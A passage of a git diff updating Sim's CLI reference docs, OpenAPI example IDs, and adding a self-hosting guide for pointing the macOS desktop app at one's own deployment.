it to act on every match, and note 0 is not accepted). | +| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -507,8 +507,8 @@ sim tables rows batch-update [options] | --- | --- | --- | | `--filter ` | Yes | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | | `--data ` | Yes | Row-data patch applied to every matching row. (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to update. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -562,7 +562,7 @@ sim tables dispatches cancel [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -588,11 +588,11 @@ sim tables dispatches create [options] | Option | Required | Description | | --- | --- | --- | -| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line). | +| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--run-mode ` | No | Whether to run all or only incomplete cells. Accepted values: `all`, `incomplete`. | -| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line). | +| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line). | +| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--max-rows ` | No | Stop after this many eligible rows have run (1-1,000,000). Omit for an unbounded run. | @@ -630,7 +630,7 @@ sim tables dispatches list -## Cancel table export +## Stop a running export ```bash sim tables exports cancel @@ -707,10 +707,10 @@ sim tables exports download -## Cancel table import +## Stop a running import ```bash -sim tables imports cancel +sim tables imports cancel [options] ``` **Arguments** @@ -723,6 +723,16 @@ sim tables imports cancel +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ## Get table import ```bash @@ -764,8 +774,8 @@ sim tables cancel-runs [options] | `--scope ` | Yes | Whether to cancel across the table or one row. Accepted values: `all`, `row`. | | `--row-id ` | No | Row whose runs should be canceled for row scope. | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -827,11 +837,11 @@ sim tables folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | -## List folders +## List table folders ```bash sim tables folders list [options] @@ -937,7 +947,7 @@ sim tables views delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1027,7 +1037,7 @@ sim tables delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1077,7 +1087,7 @@ sim tables list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--search ` | No | Case-insensitive substring match against the resource name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | @@ -1099,7 +1109,7 @@ sim tables move [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to move, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -1187,7 +1197,7 @@ sim tables upsert [options] | Option | Required | Description | | --- | --- | --- | -| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`. (JSON, or @path / @- to read a file or stdin). | +| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges. (JSON, or @path / @- to read a file or stdin). | | `--on ` | No | Unique column to resolve the conflict against. | @@ -1222,6 +1232,7 @@ sim tables import [path] [options] | `--mapping ` | No | Column mapping (--table-id only). | | `--create-columns ` | No | Columns to create (--table-id only). | | `--timezone ` | No | Timezone for date parsing, e.g. America/New_York. | +| `-y, --yes` | No | Confirm this destructive operation (required with --mode replace). | | `--no-wait` | No | Return once the import is queued instead of watching it. | diff --git a/apps/docs/content/docs/en/cli/troubleshooting.mdx b/apps/docs/content/docs/en/cli/troubleshooting.mdx index c8ecdcef039..8bf2dfd58c0 100644 --- a/apps/docs/content/docs/en/cli/troubleshooting.mdx +++ b/apps/docs/content/docs/en/cli/troubleshooting.mdx @@ -53,8 +53,8 @@ Your shell consumed the quotes. Wrap the whole value in single quotes, or read i from a file: ```bash -sim tables rows query tbl_123 --filter '{"all":[{"field":"status","op":"eq","value":"open"}]}' -sim tables rows query tbl_123 --filter @filter.json +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter '{"all":[{"field":"status","op":"eq","value":"open"}]}' +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter @filter.json ``` ## A value looks truncated @@ -63,7 +63,7 @@ sim tables rows query tbl_123 --filter @filter.json switch to a machine format to see it in full: ```bash -sim logs get run_123 --output json +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --output json ``` ## `sim files get` refuses to print to the terminal @@ -72,8 +72,8 @@ Writing arbitrary binary to an interactive terminal can corrupt it, so non-text content has to go to a file or a pipe: ```bash -sim files get file_123 -o ./image.png -sim files get file_123 | shasum +sim files get wf_8Kd2NpVrY6zTfQa3XwBmS -o ./image.png +sim files get wf_8Kd2NpVrY6zTfQa3XwBmS | shasum ``` ## A stored output format is invalid diff --git a/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx b/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx index 62a3528f07c..ca7ca03a730 100644 --- a/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx +++ b/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx @@ -13,6 +13,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim workflow-mcp-servers create [options] ``` +Create Workflow MCP Server (personal API key required) + **Options** @@ -23,7 +25,7 @@ sim workflow-mcp-servers create [options] | `--description ` | No | Optional server description. | | `--is-public` | No | Whether the server answers MCP clients without a Sim API key. Defaults to false — a public server executes the workflows it publishes for anyone holding its URL. | | `--no-is-public` | No | Send --is-public as false. | -| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -33,6 +35,8 @@ sim workflow-mcp-servers create [options] sim workflow-mcp-servers delete [options] ``` +Delete Workflow MCP Server (personal API key required) + **Arguments** @@ -49,7 +53,7 @@ sim workflow-mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -59,6 +63,8 @@ sim workflow-mcp-servers delete [options] sim workflow-mcp-servers tools create [options] ``` +Publish Workflow As MCP Tool (personal API key required) + **Arguments** @@ -88,6 +94,8 @@ sim workflow-mcp-servers tools create [options] sim workflow-mcp-servers tools list ``` +List Workflow MCP Tools (personal API key required) + **Arguments** @@ -104,6 +112,8 @@ sim workflow-mcp-servers tools list sim workflow-mcp-servers tools delete [options] ``` +Unpublish Workflow MCP Tool (personal API key required) + **Arguments** @@ -121,7 +131,7 @@ sim workflow-mcp-servers tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -131,6 +141,8 @@ sim workflow-mcp-servers tools delete [options] sim workflow-mcp-servers get ``` +Get Workflow MCP Server (personal API key required) + **Arguments** @@ -147,6 +159,8 @@ sim workflow-mcp-servers get sim workflow-mcp-servers list [options] ``` +List Workflow MCP Servers (personal API key required) + **Options** @@ -165,6 +179,8 @@ sim workflow-mcp-servers list [options] sim workflow-mcp-servers update [options] ``` +Update Workflow MCP Server (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/workflows.mdx b/apps/docs/content/docs/en/cli/workflows.mdx index 648f28967e6..248b9d18776 100644 --- a/apps/docs/content/docs/en/cli/workflows.mdx +++ b/apps/docs/content/docs/en/cli/workflows.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim workflows activate create ``` +Activate Workflow Version (personal API key required) + **Arguments** @@ -32,6 +34,8 @@ sim workflows activate create sim workflows operations apply [options] ``` +Apply Workflow Operations (personal API key required) + **Arguments** @@ -50,12 +54,12 @@ sim workflows operations apply [options] | --- | --- | --- | | `--dry-run` | No | Validate and lint without persisting. The response is identical to the committed write of the same body, so a caller can inspect `lint` and then re-send the request for real. Nothing is written, no audit entry is recorded, and collaborators are not notified. | | `--no-dry-run` | No | Send --dry-run as false. | -| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also insert_into_subflow and extract_from_subflow, whose params carry {"subflowId":"<loop-id>"} (JSON, or @path / @- to read a file or stdin). | +| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also extract_from_subflow, whose params carry {"subflowId":"<loop-id>"}, and insert_into_subflow, which creates a block and so takes an add’s params plus that subflowId (JSON, or @path / @- to read a file or stdin). | | `--atomic` | No | Fail the whole batch when any operation is declined or any block input would be dropped. The default applies what it can and reports the rest in `skipped` and `inputValidationErrors`; `true` writes nothing and answers `409` instead. | | `--no-atomic` | No | Send --atomic as false. | | `--layout ` | No | Whether to reposition blocks the batch touched. `targeted` (default) nudges only the affected subgraph; `none` leaves every position exactly as supplied. Accepted values: `targeted`, `none`. | | `--set-block-enabled ` | No | Blocks to enable or disable, applied after --operations: [{"block_id":"<uuid>","enabled":false}]. Disabling a loop or parallel cascades to its unlocked descendants; enabling a block whose container is disabled is declined (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -82,7 +86,7 @@ sim workflows variables update [options] | Option | Required | Description | | --- | --- | --- | | `--operations ` | Yes | Variable changes to apply in order, keyed by operation: [{"operation":"add","name":"my_var","type":"string","value":"hello"},{"operation":"edit","name":"my_var","value":"updated"},{"operation":"delete","name":"my_var"}] (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -138,7 +142,7 @@ Show run status (requested outputs are included in JSON or YAML output) | --- | --- | --- | | `--workflow ` | Yes | Workflow ID. | | `--include-output` | No | Include the final output in JSON or YAML output. | -| `--select-output ` | No | Include blockName.field values in JSON or YAML output (e.g. agent_1.content) (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Include blockId or blockId.path values in JSON or YAML output; block names are not resolved on a finished run (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline each produced file's bytes as base64. Requires `includeOutput`. A file above the inline ceiling answers `413` naming its download path; fetch large files from `downloadPath` instead. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Per-file inline ceiling, lowering but never raising the server limit of 16 MiB. | @@ -281,7 +285,7 @@ sim workflows folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -347,7 +351,7 @@ sim workflows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -357,6 +361,8 @@ sim workflows delete [options] sim workflows chat unpublish [options] ``` +Take a workflow’s chat deployment offline (personal API key required) + **Arguments** @@ -373,7 +379,7 @@ sim workflows chat unpublish [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -383,6 +389,8 @@ sim workflows chat unpublish [options] sim workflows chat status ``` +Show a workflow’s chat deployment (personal API key required) + **Arguments** @@ -399,6 +407,8 @@ sim workflows chat status sim workflows chat publish [options] ``` +Publish or replace a workflow’s chat deployment (personal API key required) + **Arguments** @@ -427,7 +437,7 @@ sim workflows chat publish [options] | `--no-include-thinking` | No | Send --include-thinking as false. | | `--include-tool-calls` | No | Allow visitors to receive tool lifecycle events. | | `--no-include-tool-calls` | No | Send --include-tool-calls as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -437,6 +447,8 @@ sim workflows chat publish [options] sim workflows deploy [options] ``` +Deploy Workflow (personal API key required) + **Arguments** @@ -510,7 +522,7 @@ sim workflows run [options] | `--input ` | No | Trigger input as JSON (JSON, or @path / @- to read a file or stdin). | | `--async` | No | Queue the run and return immediately. | | `--execution-timeout-seconds ` | No | Requested server-side timeout for an asynchronous run, in seconds. An upper bound, not the effective timeout: the run uses the smaller of this value and the plan's execution timeout, so requesting more than the plan allows silently yields the plan timeout. Rejected with `400` unless `async` is true. | -| `--select-output ` | No | Return blockName.field values (e.g. agent_1.content); missing fields are omitted (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Return blockName.field values from the streamed result (e.g. agent_1.content), requires --follow; missing fields are omitted (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline eligible output files as base64 content. Rejected when `async` is true. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Maximum total bytes of file content to inline as base64, lowering but never raising the server limit of 16 MiB. Rejected when `async` is true. | @@ -580,6 +592,8 @@ sim workflows deployment status sim workflows deployment update [options] ``` +Update Workflow Public API Access (personal API key required) + **Arguments** @@ -622,6 +636,8 @@ sim workflows state get sim workflows state replace [options] ``` +Replace Workflow State (personal API key required) + **Arguments** @@ -645,7 +661,7 @@ sim workflows state replace [options] | `--loops ` | No | Ignored on write: loop containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--parallels ` | No | Ignored on write: parallel containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--variables ` | No | Replacement variable set. Omit to leave the stored variables untouched. (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -751,7 +767,7 @@ sim workflows list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--deployed-only` | No | Return only workflows with an active deployment when true. | | `--no-deployed-only` | No | Send --deployed-only as false. | @@ -774,7 +790,7 @@ sim workflows move [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | Yes | Destination folder path; / moves the workflows to the workspace root. | @@ -801,6 +817,8 @@ sim workflows restore sim workflows revert create [options] ``` +Revert Workflow To Version (personal API key required) + **Arguments** @@ -818,7 +836,7 @@ sim workflows revert create [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -828,6 +846,8 @@ sim workflows revert create [options] sim workflows rollback [options] ``` +Rollback Workflow (personal API key required) + **Arguments** @@ -845,7 +865,7 @@ sim workflows rollback [options] | Option | Required | Description | | --- | --- | --- | | `--to-version ` | No | Deployment version to reactivate. Omit to select the previous active version. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -855,6 +875,8 @@ sim workflows rollback [options] sim workflows undeploy [options] ``` +Take a workflow out of deployment (personal API key required) + **Arguments** @@ -871,7 +893,7 @@ sim workflows undeploy [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx b/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx new file mode 100644 index 00000000000..8c6904686f3 --- /dev/null +++ b/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx @@ -0,0 +1,122 @@ +--- +title: Desktop App +description: Point the macOS desktop app at your own Sim deployment +--- + +import { Callout } from 'fumadocs-ui/components/callout' +import { Step, Steps } from 'fumadocs-ui/components/steps' + +The Sim desktop app is a native macOS shell around a Sim deployment. It is **not** tied to sim.ai — the build bakes in only a *default* server, and every runtime boundary (navigation, content security policy, cookie storage, the update feed) is derived from the server you point it at. + +So self-hosting the desktop app takes no build of your own: install the same signed, notarized app everyone else installs, then point it at your deployment. + + + The desktop app is macOS-only today. The web app works in any browser on any platform. + + +## Your deployment already serves the installer + +Every Sim deployment exposes two public endpoints: + +| Endpoint | What it does | +|---|---| +| `/api/desktop/update/download` | Redirects to the newest installer for this deployment's release channel — stable, for a self-hosted install | +| `/api/desktop/update/latest-mac.yml` | The update manifest installed apps poll | + +Both resolve against Sim's public GitHub releases, and the installers themselves are downloaded from GitHub. Nothing is built, signed, or hosted by you: your deployment decides *which* release its clients are offered and serves the manifest, so installed apps poll your server instead of sim.ai — but they cannot be served artifacts of your own from this path. To ship your own build, see [Building your own shell](#building-your-own-shell). + +The Sim server needs outbound access to `api.github.com` and `github.com` for these to resolve. Unauthenticated GitHub API requests are capped at 60/hour per IP; set `GITHUB_TOKEN` on the Sim server to raise that to 5000/hour. + +## Install and connect + + + + + +### Get the installer link + +```bash +npx sim-setup desktop +``` + +This reads your deployment URL from your configuration, checks that the installer and update feed both resolve, and prints the download link plus the server URL to enter. + +Pass `--url https://sim.example.com` when running the CLI somewhere that reaches Sim at a different address — or when the machine has more than one Sim configuration, in which case the command lists what it found and asks you to say which deployment you mean rather than guessing. + +Without the CLI, open `https://your-sim-url/api/desktop/update/download` in a browser. + + + + + +### Install it + +Open the `.dmg` and drag Sim to Applications. The build is signed and notarized by Sim, so Gatekeeper accepts it with no override. + + + + + +### Point it at your server + +Launch Sim, then choose **Sim → Server…** in the menu bar. Enter your deployment URL and press **Connect**. + +The app relaunches against your server and stays there — the setting persists across updates, and every later update is fetched from your deployment's feed. + +Changing servers deliberately clears what the previous deployment was trusted with, so the new one cannot inherit it: + +- **Your session.** Each server gets its own storage, so you sign in again. +- **The saved route.** The app opens on the workspace picker, not the workspace the old server had open. +- **Folder access.** Directories you let the agent read are forgotten; grant them again when you need them. +- **Built-in browser sessions.** Sites you were signed into in the built-in browser are signed out. + +The last two are capabilities you granted to a *specific* Sim server, so carrying them across would hand the new deployment access it was never given — the same reasoning that clears them when you sign out. + +Device settings are kept: window size, zoom, theme, notification preferences, tray, and launch-at-login. + +If something cannot be cleared, the change is refused and the app stays on your current server rather than switching with the old deployment's access still in place. Retrying finishes the job. + + + + + + + Enter the origin your server actually **serves**, not one that redirects to it. If your load balancer redirects `sim.example.com` to `www.sim.example.com`, use the `www` form. The app compares origins exactly, so a redirecting origin leaves every page off-origin and strands sign-in. + + +## Requirements for the server URL + +- **HTTPS is required**, except for the loopback hosts `localhost`, `127.0.0.1`, and `::1`, which may use HTTP for local testing. +- No credentials in the URL. +- Paths are ignored — only scheme, host, and port are stored. + +Each server gets its own isolated cookie and storage partition, so you can move between deployments without either one seeing the other's session. + +## Recovering from a wrong server URL + +If the app is pointed at a server it cannot reach, it shows its **Can't connect** page, which names the reason — a DNS failure, a timeout, or a TLS problem. That page has a **Change server** button that opens the same picker, pre-filled with the current value, so a typo is always recoverable without touching the filesystem. + + + **Your TLS certificate must be trusted by the operating system.** The app rejects certificate errors outright and offers no "continue anyway" — a self-signed certificate or a private CA that is not in the system trust store shows `Connection isn't secure` and will not load, however correct the URL is. Install your CA in the system keychain, or use a publicly trusted certificate. + + +## Building your own shell + +You almost certainly do not need this. It is worth it only if you need your own bundle identity or your own signing identity — for example, to distribute through MDM under your organization's Developer ID. + +Packaging needs **macOS with Xcode 26 or newer** — the app icon is an Icon Composer asset, and an older toolchain fails with `Failed to check actool version`. + +```bash +cd apps/desktop +SIM_DESKTOP_DEFAULT_ORIGIN=https://sim.example.com bun run package:mac +``` + +This bakes your origin in as the default for fresh installs, so nobody has to set the server by hand (the picker stays available in the menu). Artifacts land in `apps/desktop/release/`, named `Sim--.dmg`. Add `-c.appId=com.example.sim` if you want your own bundle identifier rather than Sim's. + + + Signing and notarization become your responsibility with this route, and macOS quarantines anything downloaded that is not notarized. + + Supply your own Developer ID via `CSC_LINK` and `CSC_KEY_PASSWORD`. For notarization, save your App Store Connect key as a `.p8` file and point `APPLE_API_KEY` at its **absolute filesystem path** — it is a path, not the key itself, and a leading `~` is not expanded — then set `APPLE_API_KEY_ID`, `APPLE_API_ISSUER`, and `APPLE_TEAM_ID`. + + Use `package:mac` for this, **not** `package:share`. The share script is the "send someone a build to try" path: it passes `-c.mac.timestamp=none` to skip the per-file round trip to Apple's timestamp authority. Apple's notary service requires a secure timestamp, so a build made that way cannot be notarized however many credentials you supply. + diff --git a/apps/docs/content/docs/en/platform/self-hosting/meta.json b/apps/docs/content/docs/en/platform/self-hosting/meta.json index b2639411663..f1373a9682f 100644 --- a/apps/docs/content/docs/en/platform/self-hosting/meta.json +++ b/apps/docs/content/docs/en/platform/self-hosting/meta.json @@ -18,6 +18,7 @@ "networking", "security", "verify", + "desktop", "---Operate---", "observability", "scaling", diff --git a/apps/docs/openapi-core.json b/apps/docs/openapi-core.json index b7020ae27f9..522584c295d 100644 --- a/apps/docs/openapi-core.json +++ b/apps/docs/openapi-core.json @@ -211,7 +211,7 @@ "description": "Comma-separated block-output selectors. A bare `blockId` returns that block's full output; a dot-path like `blockId.field` or `blockId.nested.path` returns just that value. Results are returned in the `blockOutputs` map keyed by the selector string.", "schema": { "type": "string", - "example": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf,c1b90bce-8a82-42a5-b6a5-5762846c2eaf.waitDuration" + "example": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35,a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.waitDuration" } } ], @@ -227,8 +227,8 @@ "completed": { "summary": "Completed run", "value": { - "executionId": "9254f1c9-5a11-4a12-91e3-8065293f3609", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "e4f8d2b6-9a1c-4e3d-8b7f-5c0a2d9e6f13", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "completed", "trigger": "api", "level": "info", @@ -247,8 +247,8 @@ "paused": { "summary": "Currently paused run", "value": { - "executionId": "772749f6-ee81-414c-a2c3-671549dd62b8", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "d5e1a3c7-8f60-4b29-9c4d-2a6e0f8b3d17", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "paused", "trigger": "manual", "level": "info", @@ -259,8 +259,8 @@ "pausedAt": "2026-05-15T22:25:57.216Z", "resumeAt": "2026-05-16T18:25:57.200Z", "pauseKind": "time", - "blockedOnBlockId": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf", - "pausedExecutionId": "438bf05b-bd3c-4011-b78e-b19c112eeb66", + "blockedOnBlockId": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35", + "pausedExecutionId": "9d3b7f10-2c8e-4a56-b0f4-6e1a8c5d2b97", "pausePointCount": 1, "resumedCount": 0 }, @@ -275,8 +275,8 @@ "failed": { "summary": "Failed run", "value": { - "executionId": "3ccfdeed-a63c-4e86-98e2-8bec723bca52", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "b8c2e60f-1a47-4d35-9e8b-3f0d5a7c2e19", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "failed", "trigger": "api", "level": "error", @@ -1537,12 +1537,12 @@ "executionId": { "type": "string", "description": "The unique identifier of the execution.", - "example": "9254f1c9-5a11-4a12-91e3-8065293f3609" + "example": "e4f8d2b6-9a1c-4e3d-8b7f-5c0a2d9e6f13" }, "workflowId": { "type": "string", "description": "The unique identifier of the workflow.", - "example": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7" + "example": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36" }, "status": { "type": "string", @@ -1610,12 +1610,12 @@ "type": "string", "nullable": true, "description": "The block currently blocking resume.", - "example": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf" + "example": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35" }, "pausedExecutionId": { "type": "string", "description": "ID of the paused-execution row, useful for cross-referencing with the human-in-the-loop endpoints.", - "example": "438bf05b-bd3c-4011-b78e-b19c112eeb66" + "example": "9d3b7f10-2c8e-4a56-b0f4-6e1a8c5d2b97" }, "pausePointCount": { "type": "integer", @@ -1659,8 +1659,8 @@ "description": "Per-block outputs keyed by the selector string. Returned only when `?selectedOutputs` is set.", "additionalProperties": true, "example": { - "c1b90bce-8a82-42a5-b6a5-5762846c2eaf.waitDuration": 60000, - "c1b90bce-8a82-42a5-b6a5-5762846c2eaf.status": "completed" + "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.waitDuration": 60000, + "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.status": "completed" } } } diff --git a/apps/docs/openapi-v2-files-audit.json b/apps/docs/openapi-v2-files-audit.json index 449217a46b5..88dd604ab00 100644 --- a/apps/docs/openapi-v2-files-audit.json +++ b/apps/docs/openapi-v2-files-audit.json @@ -93,10 +93,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with 